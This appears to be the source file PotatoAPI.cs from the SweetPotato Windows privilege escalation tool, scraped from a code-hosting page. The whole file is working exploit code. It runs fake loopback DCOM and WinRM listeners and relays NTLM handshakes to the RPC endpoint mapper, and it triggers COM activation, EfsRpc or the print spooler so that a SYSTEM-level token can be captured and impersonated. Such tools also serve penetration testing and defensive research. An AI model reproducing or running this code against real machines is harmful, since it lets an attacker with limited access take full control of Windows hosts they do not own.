-
Notifications
You must be signed in to change notification settings - Fork 213
/
PotatoAPI.cs
319 lines (252 loc) · 11 KB
/
PotatoAPI.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
using System;
using System.Collections.Generic;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading;
namespace SweetPotato {
public enum ExecutionMethod {
Auto,
Token,
User
}
internal class PotatoAPI {
Thread comListener;
Thread winRMListener;
PrintSpoofer printSpoofer;
EfsRpc efsRpc;
LocalNegotiator negotiator = new LocalNegotiator();
Guid clsId;
readonly int port;
Mode mode;
volatile bool dcomComplete = false;
public enum Mode {
DCOM,
WinRM,
EfsRpc,
PrintSpoofer
}
public IntPtr Token {
get {
if (mode == Mode.DCOM || mode == Mode.WinRM) {
return negotiator.Token;
} else if (mode == Mode.EfsRpc) {
return efsRpc.Token;
} else {
return printSpoofer.Token;
}
}
}
EventWaitHandle readyEvent = new EventWaitHandle(false, EventResetMode.AutoReset);
public PotatoAPI(Guid clsId, ushort port, Mode mode) {
this.clsId = clsId;
this.port = port;
this.mode = mode;
switch (mode) {
case Mode.DCOM:
StartCOMListenerThread();
break;
case Mode.WinRM:
StartWinRMThread();
break;
case Mode.EfsRpc:
efsRpc = new EfsRpc();
break;
case Mode.PrintSpoofer:
printSpoofer = new PrintSpoofer();
break;
}
}
public Thread StartWinRMThread() {
winRMListener = new Thread(WinRMListener);
winRMListener.Start();
return winRMListener;
}
public Thread StartCOMListenerThread() {
comListener = new Thread(COMListener);
comListener.Start();
return comListener;
}
string GetAuthorizationHeader(Socket socket) {
byte[] buffer = new byte[8192];
int len = socket.Receive(buffer);
string authRequest = Encoding.ASCII.GetString(buffer);
Regex rx = new Regex(@"Authorization: Negotiate (?<neg>.*)");
MatchCollection matches = rx.Matches(authRequest);
if(matches.Count == 0) {
return null;
}
return matches[0].Groups["neg"].Value;
}
void WinRMListener() {
Socket listenSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
listenSocket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReuseAddress, 1);
listenSocket.Bind(new IPEndPoint(IPAddress.Loopback, 5985));
listenSocket.Listen(10);
readyEvent.Set();
while (!listenSocket.Poll(100000, SelectMode.SelectRead)) {
if (dcomComplete)
return;
}
Socket clientSocket = listenSocket.Accept();
string authHeader = GetAuthorizationHeader(clientSocket);
try {
if (!negotiator.HandleType1(Convert.FromBase64String(authHeader))) {
Console.Write("[!] Failed to handle type SPNEGO");
clientSocket.Close();
listenSocket.Close();
return;
}
} catch (FormatException) {
Console.Write("[!] Failed to parse SPNEGO Base64 buffer");
return;
}
string challengeResponse = String.Format(
"HTTP/1.1 401 Unauthorized\n" +
"WWW-Authenticate: Negotiate {0}\n" +
"Content-Length: 0\n" +
"Connection: Keep-Alive\n\n",
Convert.ToBase64String(negotiator.Challenge)
);
clientSocket.Send(Encoding.ASCII.GetBytes(challengeResponse));
authHeader = GetAuthorizationHeader(clientSocket);
try {
negotiator.HandleType3(Convert.FromBase64String(authHeader));
} catch (FormatException) {
Console.WriteLine("[!] Failed to parse SPNEGO Auth packet");
}
clientSocket.Close();
listenSocket.Close();
}
void COMListener() {
try {
Socket listenSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
listenSocket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReuseAddress, 1);
listenSocket.Bind(new IPEndPoint(IPAddress.Loopback, port));
listenSocket.Listen(10);
readyEvent.Set();
while (!listenSocket.Poll(100000, SelectMode.SelectRead)) {
if (dcomComplete)
return;
}
Socket clientSocket = listenSocket.Accept();
Socket rpcSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
rpcSocket.Connect(new IPEndPoint(IPAddress.Loopback, 135));
byte[] buffer = new byte[4096];
int recvLen = 0;
int sendLen = 0;
while ((recvLen = clientSocket.Receive(buffer)) > 0) {
byte[] received = new byte[recvLen];
Array.Copy(buffer, received, received.Length);
ProcessNTLMBytes(received);
if (negotiator.Authenticated) {
break;
}
sendLen = rpcSocket.Send(received);
recvLen = rpcSocket.Receive(buffer);
if (recvLen == 0) {
break;
}
received = new byte[recvLen];
Array.Copy(buffer, received, received.Length);
ProcessNTLMBytes(received);
sendLen = clientSocket.Send(received);
if (listenSocket.Poll(100000, SelectMode.SelectRead)) {
clientSocket.Close();
clientSocket = listenSocket.Accept();
rpcSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
rpcSocket.Connect(new IPEndPoint(IPAddress.Loopback, 135));
}
}
try {
clientSocket.Close();
rpcSocket.Close();
listenSocket.Close();
} finally { }
} catch (Exception e) {
Console.WriteLine("[!] COM Listener thread failed: {0}", e.Message);
readyEvent.Set();
}
}
public bool Trigger() {
bool result = false;
try {
switch (mode) {
case Mode.DCOM:
Ole32.CreateILockBytesOnHGlobal(IntPtr.Zero, true, out ILockBytes lockBytes);
Ole32.StgCreateDocfileOnILockBytes(lockBytes, Ole32.STGM.CREATE | Ole32.STGM.READWRITE | Ole32.STGM.SHARE_EXCLUSIVE, 0, out IStorage storage);
StorageTrigger storageTrigger = new StorageTrigger(storage, string.Format("127.0.0.1[{0}]", port), TowerProtocol.EPM_PROTOCOL_TCP);
Ole32.MULTI_QI[] qis = new Ole32.MULTI_QI[1];
qis[0].pIID = Ole32.IID_IUnknownPtr;
Ole32.CoGetInstanceFromIStorage(null, ref clsId, null, Ole32.CLSCTX.CLSCTX_LOCAL_SERVER, storageTrigger, 1, qis);
result = negotiator.Authenticated;
break;
case Mode.WinRM:
Type comType = Type.GetTypeFromCLSID(clsId);
var instance = Activator.CreateInstance(comType);
result = negotiator.Authenticated;
break;
case Mode.EfsRpc:
efsRpc.TriggerEfsRpc();
if(efsRpc.Token != IntPtr.Zero) {
result = true;
}
break;
case Mode.PrintSpoofer:
printSpoofer.TriggerPrintSpoofer();
if(printSpoofer.Token != IntPtr.Zero) {
result = true;
}
break;
}
} catch (Exception e) {
if (!negotiator.Authenticated)
Console.Write(String.Format("{0}\n", e.Message));
}
dcomComplete = true;
return result;
}
int FindNTLMBytes(byte[] bytes) {
//Find the NTLM bytes in a packet and return the index to the start of the NTLMSSP header.
//The NTLM bytes (for our purposes) are always at the end of the packet, so when we find the header,
//we can just return the index
byte[] pattern = { 0x4E, 0x54, 0x4C, 0x4D, 0x53, 0x53, 0x50 };
int pIdx = 0;
int i;
for (i = 0; i < bytes.Length; i++) {
if (bytes[i] == pattern[pIdx]) {
pIdx = pIdx + 1;
if (pIdx == 7) return (i - 6);
} else {
pIdx = 0;
}
}
return -1;
}
int ProcessNTLMBytes(byte[] bytes) {
int ntlmLoc = FindNTLMBytes(bytes);
if (ntlmLoc == -1) return -1;
byte[] ntlm = new byte[bytes.Length - ntlmLoc];
Array.Copy(bytes, ntlmLoc, ntlm, 0, ntlm.Length);
int messageType = bytes[ntlmLoc + 8];
switch (messageType) {
case 1:
//NTLM type 1 message
negotiator.HandleType1(ntlm);
return 0;
case 2:
//NTLM type 2 message
int result = negotiator.HandleType2(ntlm);
Array.Copy(ntlm, 0, bytes, ntlmLoc, ntlm.Length);
return result;
case 3:
//NTLM type 3 message
return negotiator.HandleType3(ntlm);
default:
Console.WriteLine("Error - Unknown NTLM message type...");
return -1;
}
}
}
}